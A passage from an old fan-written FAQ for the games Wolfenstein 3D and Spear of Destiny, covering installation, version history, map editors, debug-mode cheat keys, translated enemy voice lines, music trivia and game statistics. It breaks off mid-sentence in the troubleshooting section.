+There is an unpacking installation with this latest version (v1.4) of +Wolfenstein so there should be no problem with getting started. + +You can also get a full version from Apogee (iD's Wolfenstein distributor). +Info on ordering is included in the shareware version. +Lately the full version has also been commercialised and should be available +from local software stores and other retail outlets (such as K-mart). +(This info is U.S only. Other countries may have had it available this way + for a long time now). + +You can ftp the demo of SoD from the same two sites (file soddemo2.zip). +The archive size is approximately 740Kb. +You can get a full version from FormGen (iD's Spear of Destiny distributor). +Info on ordering is included in the demo version. SoD may also be obtained +from your local software store. + +1.4 HOW DO I UNPACK SHAREWARE WOLFENSTEIN? + +You'll need PkWare's PkUnzip software (version 2.04g) to 'unzip' the file. +Create a spare directory, then copy the file you've obtained into it. +Next use pkunzip to unarchive the file. Like so: + + pkunzip wolf3d14.zip + pkunzip soddemo2.zip + +(Assuming your pkunzip.exe is on DOS's command path.) + +1.5 HOW DO I INSTALL IT TO HD? + +Through unarching the program in 1.4 above, an INSTALLATION copy of the game +was placed in the current directory. Just run INSTALL program supplied to +install a runable copy on your HD. +You can delete the INSTALLATION copy once a runable copy has been made +(to save disk space of course). +NOTE: Initially you'll need ~4Mb of HD space to unpack and install the game. +For the SoD demo, unarching the program in 1.4 above will place a runable copy +on your HD and you don't need to take any further installation steps. + +1.6 CAN I PLAY IT FROM FLOPPY DISK? + +You can play the shareware version of Wolf3D and the demo of SoD from floppy +disk since it's only about 1.38/1.24Mb (we're talking 3.5" High Density disk +here). You'll have to install it to a hard disk first and then copy it across +to a floppy disk. +The full registered versions of Wolfenstein and Spear are much too big for a +1.44Mb floppy (unless you have something like a 20Mb floptical disk drive :) on +which it would easily fit). +The performance of the game running from a floppy is much the same except when +you first load it up it takes it about a minute to load up all the graphics/map +info, so just wait patiently. It's a bit slower between the levels as well. +In the game itself there is usually no speed differential except in certain +parts where it brings in a page of graphics for some wall panels. You can then +notice a split second pause. + +1.7 WHAT'S WITH THE VERSION NUMBERS? + +The most current version of Wolfenstein 3D is 1.4. The newest version fixes all +known bugs (as did 1.1 at the time, etc.) Apart from that there is not much of +a difference unless it comes to map/graphics editors. --> See 1.8, 1.9 & 4.X +A breakdown of the versions and what the differences are is below. +(If you never played Wolfenstein this will sound meaningless, but then again + if you NEVER played Wolfenstein then where were you this past two years? ;) +NOTE: There may have been some other bugs fixed between the versions which I + don't know about, so if you think you know e-mail me. + +v1.0 - First release (05/05/92) +v1.1 - Fixed some secret doors map bugs (on level 7 & 8 in episode 1 there + were secret doors left out) and also some video problems (06/10/92) +v1.2 - Secret level elevator bug was fixed (introduced in 1.1 :( ) (06/22/92) +v1.3 - Was never released. +v1.4 - Fixed something but I forgot what. It also changed slightly the graphic + backdrop on the opening screen and other menus, changed the interior + elevator graphic and added a calibration routine in the joystick setup + menu. (12/03/92) + +The dates next to versions are the file stamp dates of the game .exe file. +They are not the actual market release game dates. + +There were other 'internal' changes between versions but they are only relevant +to mapping programs. --> See 4.X + +The version numbering of Spear seems to have gone through the same routine, +but currently I only have info on the initial release: +v1.0 - First release (09/28/92) +v1.1 - No information available (yet? call on info) +v1.2 - " " " " " " +v1.3 - " " " " " " +v1.4 - Final release, changes from previous versions unknown + (01/05/93) + +1.8 ARE THERE MAP/GRAPHICS EDITORS AVAILABLE, AND WHERE? + WHAT ARE THEY? AND WHICH FILES DO THEY CHANGE? + +Map/Graphics editors can be obtained from the same ftp site as the game. + +No, they are not written by iD or Apogee nor supported by them. +(Also --> See Section 4.2) + +READ THIS! IMPORTANT! READ! THIS! IMPORTANT! READ! THIS! IMPORTANT! + **************************************************************************** + Apogee ask that you ONLY edit registered wolf3d. The latest level editors + will ONLY work on registered versions. Will FTP sites PLEASE withdraw levels + and graphics capable of running on shareware wolf3d. Anything that will work + on registered wolf3d/SoD, and ONLY registered, is OK. + **************************************************************************** +Ok, continuing on... + +You can even share with the world your own map/graphics creations for +Wolfenstein by uploading it to UWP in /pub/incoming/id . +(--> See 1.9 for a complete list of iD's directories for that site.) + +NOTE:!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +You are strictly not allowed to distribute the executable files from the +registered full version of the game, i.e. any .exe files. +Nor anything from the game for $ unless selling the game to third party +(Legitimate registration transfer). + +The editors have been obtained by reverse engineering the map/graphics files +and producing programs that changed those files in a manner consistent with the +game requirements of them. + +The editor archives are: +maped41.zip map viewer/editor +maped42.zip " " " +maped6.zip " " " +wolfed21.zip graphics viewer/editor +wolfm160.arj map viewer/editor version convertor + maped8.zip map viewer/editor + +The last one will let you convert between different versions of Wolfenstein +since the map encryption for 1.0 is not compatible with 1.1 and upwards +(and you may feel left out if you designed maps before with 1.0 and now have + 1.1 or 1.4, etc. Not so! + BTW: 1.1 through to 1.4 are map/graphics compatible as known to date.) + +Also maped41[42][6]/wolfm160 will automatically detect what version of +Wolfenstein you have installed so you need not worry if you don't want to +convert maps (upgrade/downgrade (!) them). + +All of these files include ample docs with them, if you already have them and +want some tips or help on their differences and shortcomings, then --> See 4.X + +In order to make the Map editors work for Spear of Destiny, an enhanced version +of the .DEF files must be used. They should be obtainable in the same ftp sites +as the map editors (file wmapdefs.zip and others). If you can't find them, some +minor work will need to be done. Find the wall types (MAPDATA.DEF) and the +object types (OBJDATA.DEF) that are undefined and define them in your *.DEF +files. + +The aforementioned editors change the following files: + +Map editors: +MAPHEAD.XXX +MAPTEMP.XXX +GAMEMAPS.XXX +where XXX is either .WL1 for the shareware version or .WL3 and .WL6 for the +registered 3/6 episode versions respectively. +Note that GAMEMAPS.XXX replaced MAPTEMP.XXX in versions of Wolfenstein 1.1 and +higher, i.e. MAPTEMP.XXX is only present in v1.0. It doesn't really make any +difference since the map editors will recognize that. +For Spear, XXX is either .SDM for the demo version or .SOD for the full +version. To have some of the map editors work with them, you'll need to rename +them to .WL6 files and then back to play the game. +Please consult Section 4.1 to see if the map editor you're using will recognize +SoD .SDM & .SOD file extensions. + +Graphics editors: +VSWAP.XXX +where XXX is as before. + + My own word (Adam) on level editors: + + Basically, GET ONE NOW! They are very, very good. I use mapedit 8.0. I have + a regular conversation going with Warren Buss, one of the writers, and 8.1 + is done, but not on general release. They are adding Corridor 7 support, and + it will be released with a higher no than 8.1 when this is done. Mapedit 8.0 + supports every single object in wolf3d, and has many useful features. It + also supports SoD and Blake Stone 3D. Before anyone asks, there are NO plans + for Rise Of The Triad support - it is too different. Also, levels are very + easy to knock up quickly, but don't. It is not as bad as Doom (2 months + per level!), but try and think about it. Get the player lost. Build in + traps. + Graphics editing is very fun, but you need to be a reasonably talented + computer artist, prepared to work for a long time to achieve results. Enemys + have 20+ frames of animation, and these all need to be changed. I am working + on a major add-on, Warhammer Wolfenstein, which is being done with two + friends - they work on graphics, I do levels. We will have something decent + out by february 95. + +1.9 ARE THERE DIFFERENT SETS OF READY MADE MAPS/GRAPHICS FILES, AND WHERE? + +If you are looking for an alternative set of map or graphic files for your +Wolfenstein game then the sites mentioned in Section 0.7 carry them as well +in the same or sibling directories. +MANITOBA has the add-on maps/graphics/editors, etc. in the same directory as +the game i.e. /pub/wolf3d . +Make sure you look through an index file (normally 00index* or README to see +what is what or --> See 5.1 & 5.2 for a short tour) +At UWP have a look at /pub/msdos/games/id/home-brew directories. + +1.10 HOW CAN I CHEAT IN WOLFENSTEIN? + +There is a document on ftp.cc.umanitoba.ca in /pub/wolf3d called wolfdbug.txt +that describes the various cheat options in Wolfenstein and how to access them. +I have reproduced it here with some updates. +---------------------------------------------------------------------------- +WARNING: SPOILER ALERT!!! SPOILER ALERT!!! SPOILER ALERT!!! SPOILER ALERT!!! + + + + + + + + + + + + + + + + + + + + + + + + + + +THE WOLFENSTEIN 3-D DEBUG MODE FILE + +(v1.0 means Wolf3D version 1.0 and v1.1 means Wolf3D version 1.1. +Cheating with other versions is equivalent to v1.1 except as noted.) + +To enter the mode, do the following: + +1. Invoke Wolfenstein 3-D with the "next" parameter (wolf3d -next) + for v1.0, or the "goobers" parameter for v1.1. You can also use + whatever other command-line parameters you want. + +2. Begin or restore a game. While in the game, hold down the TAB, + CONTROL, and ENTER keys simultaneously for v1.0, or the LEFT SHIFT, + ALT, and BACKSPACE keys for v1.1. You should get a message stating + that debugging keys are now available. + +That's it! + +To use debugging mode commands, hold down the TAB key and one of the +letter keys listed below simultaneously: + +B Changes the screen border color. Don't ask me why it's here, but + it's here. + +C Displays the number of statics, doors, and actors in the level. + Statics are things like food, ammo, pools of blood, etc., and actors + are the bad guys. Doors should be self-explanatory. + +E Moves you ahead two levels. That's right, not one level, but two. + Unlike the W command (see below), this also takes you to the "level + completed" screen and gives you percentages, bonuses, etc. + In Wolf3D v1.4 and SoD, it moves ahead just one level. If you have + also used the "-tedlevel" parameter (see below), this command exits + the game. + +F Displays your current position on the level (X,Y) and orientation (A). + To convert the X and Y values to coordinates that can be used in + Mapedit, divide them by 65,536 and round down. A is in degrees + ranging counterclockwise from right. ("Right" refers to the top + view as seen in Mapedit.) + +G Turns what iD calls "GOD mode" on and off. Basically it just means + that you're invincible. The screen still turns red when you would + normally be hurt, though. This can get very annoying if you want to + do something fun like kill the episode's boss with your knife. + +H Hurts you (-16% health). Not much use to us, but I guess iD had to + debug their damage code just like everything else. + +I "Free items." Ups your health, ammo, and score, and gives you the + next most powerful weapon. (Machine gun if you didn't have it, + Gatling gun if you did.) + +M Displays memory usage. Loads of fun. + +N Turns "No clipping" on or off. This lets you walk through walls. + Wall-walking does STRANGE things to the graphics (try approaching a + door from the side and opening it). It also does strange things + to the bad guys. If you walk into a room through the wall, often + they won't notice you at all, even if you walk right in front of + them or fire your machine gun (in some direction besides at them, + of course). This command is not available in the registered version + of Wolf3D nor in shareware versions other than v1.0 but it is in SoD. + (I guess we should be glad that ANY of the commands are available.) + +O Changes the main viewscreen to a map of the current level, which + you can scroll through using the movement keys or the mouse. It's + neat, but I wish that it weren't so ugly. Those numbers are from + the internal level format. ESC will get you out. Unfortunately + this command doesn't work in v1.1 nor in SoD. + +P Pauses the game, without putting up the little "Paused" window. + I guess this makes it nice for taking a screen shot, although in + v1.1 it changes the screen border to an ugly bright white. + +Q Bombs the machine in v1.0. Exits the game in v1.1. Both of these + functions are about equally useless. + +S Turns slow motion on or off. If you have a slow computer you don't + need this. + +T Pops up a window which displays graphics and sounds from the game. + Use the left and right arrow keys to page through the entries. + If you come to a blank entry, keep going. You'll know when you've + reached the end (500-something) because you won't be able to go + any higher. ESC exits. v1.1 has some interesting graphics that + v1.0 lacks, including two sprites which are particularly intriguing. + Don't bother calling Apogee and making yourself look like a fool + only to be told that you didn't win anything; I already did. + (You'll understand what I mean when you've seen the sprite.) + +V Asks you how many extra VBLs you want. High values seem to make + the game sluggish and not much else. + +W Warps to any level. Although it prompts for a value from 1 to 10, + you can actually enter any number up to 20 in the registered + version. Eleven through twenty correspond to levels one through + ten in the episode following the one you're currently playing. + In SoD, it prompts for a value from 1 to 21. + +X "Extra stuff." Doesn't appear to do anything. If you can amend + this, let me know. + +Miscellaneous notes: + +TEDLEVEL - You can use the "-tedlevel" command-line parameter to quickly +start Wolf3D and warp to any level. The parameter is followed by a +two-digit number. The tens digit is the episode number minus one, and +the ones digit is the level number minus one. For example, to go to +level 10 of episode three, type: + wolf3d -tedlevel 29 +and to go to the first episode, level 2, type: + wolf3d -tedlevel 1 +By default, you will play the level on the "Don't hurt me" difficulty +setting. To change this, use one of the command-line parameters "-baby" +"-easy" "-normal" "-hard". They stand for the obvious difficulties. +Using the "-tedlevel" parameter also gives you an infinite number of +lives. Combine it with "-goobers" (or "-next") for even more fun. + +DEMO RECORDING MODE - This "debugging" feature is not accessed in the +same way as the other commands, and it is available only in v1.0. To +record a demo, follow step one from the beginning of this file, and +then hold down TAB at the title screen (the one with B.J. hiding from +a guard). Unfortunately, there doesn't seem to be any way to display +these demos after they've been recorded, but if you've ever had a +secret desire to play Wolfenstein 3-D with a big "DEMO" sign at the + top of the screen, this is how to do it. Theory: I do not have 1.0 of + wolf3d - i use 1.1 - but I think that if you leave it on the title screen + long enough, you get a demo, and this is probably what you are recording. + +SPEAR OF DESTINY - SoD's debugging mode is quite similar to Wolf3D's. +Just use the command-line parameter "-debugmode" and the same key combo +as v1.1. Oh, and be sure to check out what happens to B.J. when you turn +on God mode... + +-- Ben Rudiak-Gould +AOL: BenjaminRG +Internet: benrg@uclink.berkeley.edu +-------------------------------------------------------------------------------- + + and then there's always the LIM cheat. + +What you do is press L, I and M all together and you get full health & ammo as +well as the chain gun and both keys ;) However, it will reset your score to 0! + (This also renders the tab-I cheat useless). + +The equivalent of this cheat for the Mac (I think...the sender did not name +system) is typing in BURGER. + +IMPORTANT: It seems that in later registered versions of v1.4 of Wolf3d the +cheat mode has been disabled (appearently Apogee requested it). +At the moment I have no additional info to differentiate these two versions +of v1.4. If you have any such details (like file dates etc.) drop me a line. + +Apogee has also stated that starting with release of their game 'Biomenace' +all their subsequent shareware game releases will be devoid of any in-built +cheat codes. This is apparently to encourage registering the game (where +the registered versions would have some kind of cheat mode (???) etc.) + + + +1.11 HOW CAN I CONTACT iD Software or Apogee? + +If you have some difficulties with Wolfenstein or Spear that are unresolved +after reading this FAQ you can send e-mail to help@iDsoftware.com or +apogee@delphi.com. +Note that this FAQ is not produced or in any way sponsored by iD Software or +Apogee, so they are not responsible for the material included herein. +I would discourage asking them about the add-on products for Wolfenstein. +Mail only if you have a setup, installation or hardware conflict, etc. + +1.12 I THINK I FOUND AN ERROR IN THE FAQ. + +If you find some information contained within this article incorrect +I'll appreciate you informing me of it ASAP. + +1.13 IS WOLFENSTEIN AVAILABLE ON ANY OTHER PLATFORM THAN AN IBM COMPATIBLE? + +There is a SNES version (blood changed to sweat, dogs changed to rats) and +a Jaguar (uncensored, slightly altered graphics) version. Mac version IS now +availible, and uses the Jaguar graphics. The Archimedes version has just +come out. No info on graphics. + +1.14 WHERE CAN I FIND VERSION X.Y OF WOLFENSTEIN? + +If you're looking for older versions of shareware Wolfenstein then MANITOBA is +the place. +These are the files: + +v1.0 - 1wolf3d.zip +v1.4 - wolf3d14.zip + +If you want v1.1 (god knows why) you'll have to patch v1.0 using w3dpatch.zip +(--> See Section 5.3) +I don't know where to get shareware patch for v1.2 but the only difference +from 1.1 to 1.2 was the secret level bug fix on episode 1 level 1. +If you have an editor you can patch it yourself. But really, you should only +need v1.0 (for some add-ons) and v1.4 (for the rest). + +1.15 WHERE DID iD GET THE INSPIRATION FOR WOLFENSTEIN? + +The The idea for Wolfenstein came from an old Apple ][ game called Castle +Wolfenstein that the iD games liked. They had come up with the idea of the +3D, texture-mapped, smoothly scrolling engine, and needed a game to use it +with. Castle Wolfenstein seemed ideal. They couldn't think of a better name, +so their legal guys went out and got the copyright on the name, and +Wolfenstein 3D was born! + +2.0 SPECIFIC QUESTIONS ABOUT THE GAME. +=============================================================================== + +2.1 WHAT DO ALL THOSE GUARDS SAY IN GAME? (FOR THOSE WITH SOUNDBLASTER OR + COMPATIBLE) + +Who When Says What Translation +------------------------------------------------------------------------ +Guard: He sees you Achtung! "Warning" or "Attention" + or hears you + shoot. + +He dies. (irreproducible) He just screams in + a variety of ways. + +Blue SS +Guard: He sees you Schutzstaffel! "Body Guard" (literal), + or hears you "SS!" + shoot. + + He dies. Mein leben! "My life!" + + +White +Officer: He sees you Spion! "Spy!" + or hears you + shoot. + + He dies. Nein, so was! "Well, I never!" + (colloquial) + +Undead +(Zombies): He sees you - Nothing. Silence + or hears you + shoot. + + He dies Khaaarrghkhkh! (Really weird sound) + +Hans +Huge Blue +Guard, +episode 1: He sees you. Guten Tag! "Good Day!" (strictly) + "Good Morning!" + + + He dies. Mutti! "Mommy!" + +Dr. Schabbs, +episode 2: He sees you. Oohahahaha! (Laughs) + + He dies. Mein Gott in Himmel! "My God in Heaven!" + +Hitler's +ghost, +episode 3: He sees you. Toter hund! "Dead Dog!" + + He dies. Hahahahaha! (Laughs) + +Hitler, +episode 3: He sees you. Die, Allied "Die, Allied Pigdog!" + Schweinehund! + + You blow away Scheisse! "Sh-t!" + his armour. + + He dies. Eva, auf "Good-bye Eva!" + Wiedersehen! (NB: Eva Braun was + Hitler's wife) + +Otto +Giftmacher +(Otto Poison- + maker), +episode 4: He sees you. Eine kleine "A little American!" + Amerikaner! + + He dies. Donnerwetter! "Good heavens!" + +Greta Grosse +(Big Greta), +episode 5: She sees you. Kein Durchgang! "No Trespassing!" + + She dies. Mein Busen! "My repentance!" + +General +Fettgesicht +(General + Fat-Face), +episode 6: He sees you. Erlauben Sie, "Allow me, please!" + bitte! + + He dies. Roseknospe... "Rosebud..." + (cf. film "Citizen Kane" + for joke.) + +Trans Grosse, +SoD floor 5: He sees you. Einer "A mistake!" + Sprachschnitzer! + + He dies. Es ist schade! "What a pity!" + +Barnacle +Wilhelm, +SoD floor 10: He sees you. Ach so! "Oh, I see!" + + He dies. Wenn schon! "So what!" + +UberMutant, +SoD floor 16: He sees you. - Nothing. Silence + + He dies. Argh! (Wierd scream) + +Death Knight, +SoD floor 18: He sees you. Tod ist mein leben! "Death is my life!" + + He dies. Alles ist verloren! "All is lost!" + +Angel of Death, +SoD floor 21: He sees you. Prove your worth, human! + + He dies. You may wield the Spear... +-------------------------------------------------------------------------------- + +2.16 HOW MANY SHOTS DO ALL THOSE ENEMIES TAKE TO KILL? + +Here is detailed roughly how many shots each normal enemy takes to kill. + +1. Dog +1 shot, 1 knife hit. + +2. Brown Guard +1 shot if close up and on target, or hit in back, and 2 if at a distance. +If your aim is out it can be 3. About 2/3 knife hits. + +3. SS Man +About 8 shots or 12 knife hits. + +4. Officer +About 4 shots or 6 knife hits. + +5. Mutant +About 8 shots or twelve knife hits. + +6. Hitler's Ghost +About 6 shots or 10 knife hits. + +2.17 WHAT WEAPONS DO ALL THOSE ENEMIES CARRY? + +1. Dog +Bite + +2. Brown Guard +Pistol + +3. SS Man +Machine gun (you get it if you kill him) + +4. Officer +Pistol (does more damage and fires more rapidly than the guard's) + +5. Mutant +Pistol (Faster than officer's) + +6. Hitler's Ghost +Fireballs + +7. Hans Grosse +Two chainguns + +8. Dr Schabbs +Syringes + +9. Hitler +Four chainguns in armour, two out of it + +10. Otto Giftmacher +Can't remember (fill me in someone) + +11. Gretel Grosse +Two chainguns + +12. General Fettgesicht +Two chainguns and rocket launcher + +2.2 WHAT'S THE DIFFERENCE BETWEEN THE DIFFICULTY LEVELS OF THE GAME? + +There are four main differences: +1) There are more guards on harder difficulty levels. +2) They are harder to kill (can take more shots and you have to aim better) + on harder difficulty levels. + NOTE: on the lowest level 'Can I play Daddy?' you can generally pick off a + guard even at long distance with one shot in the general direction + (well, not every time but often). On the hardest level this usually + will not happen. +3) On harder levels you take more damage when shot. +4) NB: There are a certain number of guards on difficulty 1 (can I play + daddy), the same on difficulty 2 (don't hurt me), they just do more harm, + more on difficulty level 3 (bring 'em on) and a hell of a lot on difficulty + level 4 (I am death incarnate! meaning: I am death personified, made into + a person). + +There is another minor difference. On the lowest level the 'first-aid kit' +sometimes bumps up your health more than on other harder levels. +--> See 2.8 & 2.15 for more. + +2.3 WHAT ARE THE SECRET ROOMS/DOORS IN THE GAME? HOW CAN I FIND ONE? + +The secret rooms are like any other room in Wolfenstein except they are +accessed by a 'secret passage' (not really a door). There are certain wall +panels which can be pushed (acted on) like a normal door. The wall will then +slide back revealing a passage to another room. Secret rooms are usually used +to store treasure, food, first aid and ammo packs and more powerful guns, i.e. +the items of interest when survival is at stake (the treasure helps get more +points which accumulate to extra lives, etc.). Sometimes they are used to store +keys to locked doors, but not often (not in the Wolf3D shareware episode +anyway). + + NOTE: There is nowhere in the game that anything vital to completion is + hidden behind a secret wall. Keys are just to shortcut routes. iD thought + necessary secret rooms would be too hard to find. This is strictly untrue, + but the areas it is used (Episode 1, level 8 for example) are in tiny rooms + where it is dead easy to find the pushwall. + +Although there are no strict guidelines to where a secret room might be, you +can get some slight hints on where one might be positioned. Since the maps in +Wolfenstein are true (i.e. they're not warped space) then if you see a block +of wall which is pretty thick and houses no standard rooms (operated by normal +sliding doors) it could potentially house a secret room. Try first the obvious +places on the walls e.g. Hitler's painting, nazi banner & other obvious wall +decorations. Some secret panels are in the corners of a room, others in the +middle of a wall (midpoint of a wall in a standard room). There are also a few +between two objects, like between two plants or two barrels positioned against +the walls. --> See 3.10 for more. + +2.4 WHAT ARE SECRET LEVELS IN WOLFENSTEIN? HOW CAN I FIND ONE? + +The secret levels are just another level which has been made a bit harder to +find than others. To get to a secret level you must take a special elevator +(well, they don't look special though, in fact in appearance they look like a +normal elevator) from one of the normal (non-secret levels). Elevators like +that are hidden. There's one secret level per episode (so there's one in the +shareware version too :). +When you arrive at a secret level it will be marked 'level 10' on your status +bar. In Spear there are two secret levels in total, marked 19 and 20. +After you finish the secret level the exit elevator will take you back to the +level that you should have gone were it not for the secret level. Say you got +to secret level from level 1, then after secret level (10) you'll end up on +level 2. +For a bit of a spoiler --> See 3.11 + +2.5 WHAT IS THAT FUNNY OBJECT/SPRITE IN THE GAME? + +That funny object only occurs in the registered 3 or 6 episode version of the +game. It is a sign saying to call Apogee. See, it was going to be a part of a +competition with the game, like you find it and then call the distributor +(Apogee it was then) and you could win something (???). +The competition idea was dropped fairly quickly though, after all the mappers +and editors were unleashed only weeks after the game's release. OK, for all +those who haven't found it, the object is a wall saying "Phone Apogee Say +Aardwolf." It isn't very exciting, trust me. + +2.6 WHAT IS THE PURPOSE OF THE CODES LISTED AT THE END OF GAME STATS? + +Same thing as in 2.5 the code is the checksum for your score in game. It was +going to be a proof that you actually went through the game and obtain such and +such score. +NOTE: To my knowledge the codes only occur in Wolfenstein v1.0 & 1.1 + (maybe 1.2, not sure) + +2.7 ARE THERE GHOSTS IN WOLFENSTEIN? IF SO WHERE? CAN I KILL THEM? + +There are two kinds of ghosts in Wolfenstein. The Hitler's ghosts which haunt +you in episode 3 level 9 (the boss level where you kill Hitler). You can +certainly kill those. +There are also some funny Pacman Ghosts in episode 3 level 10 (secret level). +You can't kill those but they can hurt you if you touch them. Just stay clear +and you'll be ok. (Or cheat with GOD MODE --> See 1.10) +In Spear there are ghosts in the final floor (21). These white ghosts can be +shot, but after a short while they reappear. They can also hurt you if you +touch them. + +2.8 WHAT DO OTHER OBJECTS APART FROM AMMO, FOOD ETC. DO? + +Umm, well ... nothing really. They're there 'cause they look nice. + +Here's a short list of all the usable objects: +Ammo clip: gives you ammo (duh) +Ammo box (SoD only): gives you loads of ammo :) +Machine guns (Schmeisser (some people call it PM-40) & Gatling gun): increase + your firepower. NOTE: They do not actually take more powerful bullets, but + the machine gun has rapid-fire and the chain-gun has 2 bullets at a time + rapid-fire. Two bullets from a pistol will kill a guard, so will two from + a pistol - it is just easier to fire from a chain-gun. +Chicken meal, Dog food, Blood pool, Bloody skeleton & First aid kit: +extra health +Cross, Chalice, Treasure chest, Crown: points +Sphere with your face on it: extra life + health + ammo + +Doors: open and close these. +Keys: access locked doors. +Elevator: use it to progress to next level. + +2.9 I'VE HEARD YOU CAN DRINK BLOOD IN WOLFENSTEIN? IS THAT TRUE? HOW? + +You can slurp up the blood pools and consume the bloody skeletons if your +health falls below 11%. + +2.10 WHAT IS 'DEATH CAM'? HOW IS IT ACTIVATED? + +Death Cam is a animation replay of the final few seconds of the killing +sequence of some the games bosses (you know, the huge guards). The only bosses +subject to Death Cam are: + Dr. Schabbs (episode 2) + Hitler (episode 3) + Otto Giftmacher (episode 4) + General Fettgesicht (episode 6) +The Death Cam is activated after you kill one of these bosses. After the replay +the current episode concludes regardless of whether you killed all other +guards, etc. +There is no Death Cam in Spear. It has a nice set of end screens though. + + NOTE: Deathcam does not replay your killing, from your viewpoint - it just + shows all the guy's dying frames from close up, so it is always the same. + +2.11 WHAT IS THE JUKEBOX FEATURE OF WOLFENSTEIN? HOW IS IT ACCESSED? + +The JukeBox feature of Wolfenstein is just a menu of different music +scores that normally play through the different levels of Wolfenstein. +To access it press and hold 'm' while Wolfenstein starts (after you started +it from DOS). +Now you can listen to that favourite tune from the game. +The Jukebox is present in all versions as I understand (shareware/registered +1.0 through to 1.4). The menu of music scores may be different between +the versions but it nevertheless is there. + +2.12 WHAT ARE THOSE MUSIC TUNES IN WOLFENSTEIN? + +What is the theme music for Wolfenstein 3-D? + +The tune that opens Wolf 3-D is known as the "Horst Wessel Lied" (Horst +Wessel's Song), which was the official Nazi party anthem. Here are the +first couple of bars to the lyrics, though further research will follow: + +(translated from the original German) + +Raise high the flags! Stand rank-on-rank together.... SA will march with +steady, quiet tread.... + +Historical background: Horst Wessel was an average SA (Sturmabteilung -- +literally, Storm Detachment; which was the Nazi goon squad) trooper and +local party leader in Berlin. He was killed in a street brawl with +Communists in 1930, but not before leaving the words and music to the tune +that became the Nazi anthem. It was played along with the official German +national anthem, whose tune is still used today, although with different +lyrics than what was played in Nazi Germany. + +Other musical trivia: a few bars of the U.S. Army, Navy, Air Force, and +Marine Corps anthems are played throughout the game. In one of the music +pieces, a Morse-code message is played in the background... + + The music on episode 1, mission 9 is vaguely reminiscent of the British + National Anthem, God Save The Queen/King (depending on who is the monarch + at the time). + +2.13 WHAT IS THAT MORSE CODE MESSAGE IN WOLFENSTEIN? + +In Episodes 3 & 6 of the registered version the music seems to +include a Morse code beeping in the background. + +I have scooped the following from UseNet's comp.sys.ibm.pc.games.action +(I don't know the originator, you know who you are) + +Here it is: + +TO BIG BAD WOLF DE ["de" means "from" in amateur radio Morse code jargon] +LITTLE RED RIDING HOOD +ELIMINATE HITLER +IMPERATIVE COMPLETE MISSION WITHIN 24 HOURS +OUT + +2.14 ARE THERE ANY MORE CHEATS/HINTS AVAILABLE? + +Yes Siree! There's certainly that Wolfenstein hintbook you can obtain for some +extra $ (US$ 10 I last heard), when you order the full version of the game. +It's supposed to be packed with hints about the game levels and how to cheat in +the game (--> See 1.10). I don't know all the details 'cause I don't have it. +(Er, the game's too easy anyway (No flames! --> See 3.X)) +There's also the Spear of Destiny hintbook to be obtained for US$ 15. +It has lots of background info on the game, the storyline, its development +history and the guys at iD Software, plus hints for playing, the full set of +printed maps and how to access a few hidden features in the program. + +2.15 THE STATISTICS & RECORDS SECTION (NUMBERS ABOUT THE GAME). + +Ok, at the risk of repeating myself here goes: + +The Wolfenstein game has: +10 levels per episode +6 episodes (full version) +1 secret level per episode. + +The Spear of Destiny game has: +21 levels (full version) +2 secret levels and a special end level. + +Both games have: +4 difficulty levels +4 weapon types: knife, pistol, machine gun & chain gun +2 key types: gold & silver. + +Max ammo: 99 +Ammo with guns: 6 +Ammo with clips: 8 +Ammo with guards' clips: 4 +Ammo with ammo box (SoD only): 25 +Ammo with X-tra life: 25 + +Max health: 100 % +Health for blood/bones: 1% (Note: health must be <11% for this to work) +Health for dog food: 4% +Health for chicken meal: 10% +Health for first aid: 25% or 35% depending on which level of difficulty +Health for X-tra life: 100% + +Score for brown guards: 100 +Score for dogs: 200 +Score for white ghosts (SoD): 200 +Score for white officers: 400 +Score for blue SS troopers: 500 +Score for undead: 700 +Score for ghosts of Hitler: 2000 +Score for bosses: 5000 +Score for cross: 100 +Score for chalace: 500 +Score for treasure chest: 1000 +Score for golden crown: 5000 +Score for 100% completed: 10000 +Score for secret level completed: 15000 +Score for boss level completed (SoD): 15000 +Score for 1 sec under par level time: 500 + +The following table shows the par level times for all Wolf3D episodes: + Level +Episode 1 2 3 4 5 6 7 8 +1 1:30 2:00 2:00 3:30 3:00 3:00 2:30 2:30 +2 1:30 3:30 3:00 2:00 4:00 6:00 1:00 3:00 +3 1:30 1:30 2:30 2:30 3:30 2:30 2:00 6:00 +4 2:00 2:00 1:30 1:00 4:30 3:30 2:00 4:30 +5 2:30 1:30 2:30 2:30 4:00 3:00 4:30 3:30 +6 6:30 4:00 4:30 6:00 5:00 5:30 5:30 8:30 +The boss and secret levels have no par level time. + +The following table shows the par level times for all SoD levels: +Level 1 2 3 4 6 7 8 + 1:30 3:30 2:45 3:30 4:30 3:15 2:45 +Level 9 11 12 13 14 15 17 + 4:45 6:30 4:30 2:45 4:30 6:00 6:00 +Once again, the boss and secret levels have no par level time. + +Extra life: every 40000 points or if you find the icon. +NOTE: extra life icon counts as treasure! If you forget one --> no 100% + treasure statistic! + + NOTE: Par times cannot be edited with any edit programs I know - anyone + seen one? + +Average number of rounds (on 'Death Incarnate' difficulty) required to kill: +Dog: 1 +White ghost (SoD): 1 +Brown guard: 2 +SS trooper: 5 +White officer: 3 +Undead: 3 + +Minimum number of rounds required to kill: +Ghost of Hitler: 25 +Hans: 40 +Hitler: 70 to blast him out of his harness & +another 70 to finish him off. +Other Bosses: 80 + + +3.0 THE FLAMING SECTION. (YOU'RE ANNOYED WITH WOLFENSTEIN BECAUSE...) +=============================================================================== + +3.1 IT CRASHES. + +Usually the reasons for Wolfenstein bombing out are these: + +1) You have a hardware conflict with your soundcard. +2) You have a software configuration problem. +3) You have more than one version of Wolfenstein and some game files from the + versions are mixed. + +1 & 2 are discussed later --> See 6.1 & 6.2 + +If you mixed Wolfenstein versions or put different home-brew add-on maps in the +same directory then Wolfenstein might hang since map and graphics file formats +are different from version 1.1 onwards. + +3.2 THE SOUNDS ARE ALL SCREWED. + +Either your card is not fully Soundblaster compatible or you have IRQ or DMA +conflict. --> See 6.1 + +3.3 YOU ARE LEFT WITH A GUN AND 8 BULLETS AFTER YOU DIE. + +Solution +a) Cheat (--> See 1.10) +b) Learn about secret rooms and how to find them (--> See 3.10), there is + plenty of ammo/food inside them. +c) Save often. +d) The blue SS troopers carry machine guns. Toast one with your gun and you can + pick up his machine gun. If you have the machine gun already, he just drops + an ammo pouch. + +3.4 IT'S TOO HARD. + +--> See 3.3 & 3.10 +Also start on an easy difficulty level. Don't despair, you'll get better. One +of the advantages of veteran players is that they know the layout of the maze. +They know where to find ammo, 